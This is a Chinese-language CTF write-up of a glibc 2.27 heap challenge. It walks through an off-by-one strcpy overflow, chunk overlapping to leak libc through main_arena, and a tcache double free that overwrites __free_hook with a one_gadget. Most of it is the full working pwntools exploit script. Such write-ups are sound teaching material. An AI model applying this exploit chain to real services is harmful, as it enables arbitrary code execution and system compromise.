惯例checksec一下
ida打开还是熟悉的malloc,free和show模块
strcpy存在off-by-one漏洞
思路还是创建两个大于tcache大小的chunk,中间夹一个tcache可存储大小的chunk。
通过extend再改变unsortedbin头位置泄露mainarena位置找到libc基址,最后doublefree实现对hook的更改。
add(0x410,b'a')
add(0xe8,b'a')
add(0x4f0,b'a')
add(0x60,b'a')
free(0)
free(1)
for i in range(0,6):
add(0xe8-i,b'k'*(0xe8-i))
free(0)
add(0xe8,b'k'*0xe0+p64(0x510))
free(2)
extend后,大小变为0xa11
add(0x410,'leak libc')
show(0)
leak_addr = u64(p.recv(6).ljust(8,b'\x00'))
log.info("leak_addr:"+hex(leak_addr))
libc_base = leak_addr -0x3ebca0
log.info("leak_base:"+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
unsortedbin头与tcachebin重合
show0,泄露mainarena地址
这里mainarena偏移有个计算,ca0这个就是上图看见的mainarena+96,000是本地查看的libc基址。
最后doublefree
add(0x60,b'getshell')
free(0)
free(2)
add(0x60,p64(free_hook))
add(0x60,p64(free_hook))
使tcachebin指向了freehook。
利用onegadget获得execve
add(0x60,p64(onegadget))
free(0)
p.interactive()
填入freehook。最后free0,调用execve。
exp
from pwn import *
context(log_level='debug',arch='amd64')
elf = ELF("./program")
p = process('./program')
libc = ELF("./libc-2.27.so")
def add(size, content):
p.recvuntil("Your choice: ")
p.sendline('1')
p.recvuntil("Size:")
p.sendline(str(size))
p.recvuntil("Data:")
p.send(content)
def free(index):
p.recvuntil("Your choice: ")
p.sendline('3')
p.recvuntil("Index:")
p.sendline(str(index))
def show(index):
p.recvuntil("Your choice: ")
p.sendline('2')
p.recvuntil("Index:")
p.sendline(str(index))
add(0x410,b'a')
add(0xe8,b'a')
add(0x4f0,b'a')
add(0x60,b'a')
free(0)
free(1)
for i in range(0,6):
add(0xe8-i,b'k'*(0xe8-i))
free(0)
add(0xe8,b'k'*0xe0+p64(0x510))
free(2)
add(0x410,'leak libc')
show(0)
leak_addr = u64(p.recv(6).ljust(8,b'\x00'))
log.info("leak_addr:"+hex(leak_addr))
libc_base = leak_addr -0x3ebca0
log.info("leak_base:"+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
add(0x60,b'getshell')
free(0)
free(2)
add(0x60,p64(free_hook))
add(0x60,p64(free_hook))
onegadget = libc_base + 0x4f322#0x4f3c2
log.info("onegadget:"+hex(onegadget))
log.info("free_hook"+hex(free_hook))
add(0x60,p64(onegadget))
free(0)
p.interactive()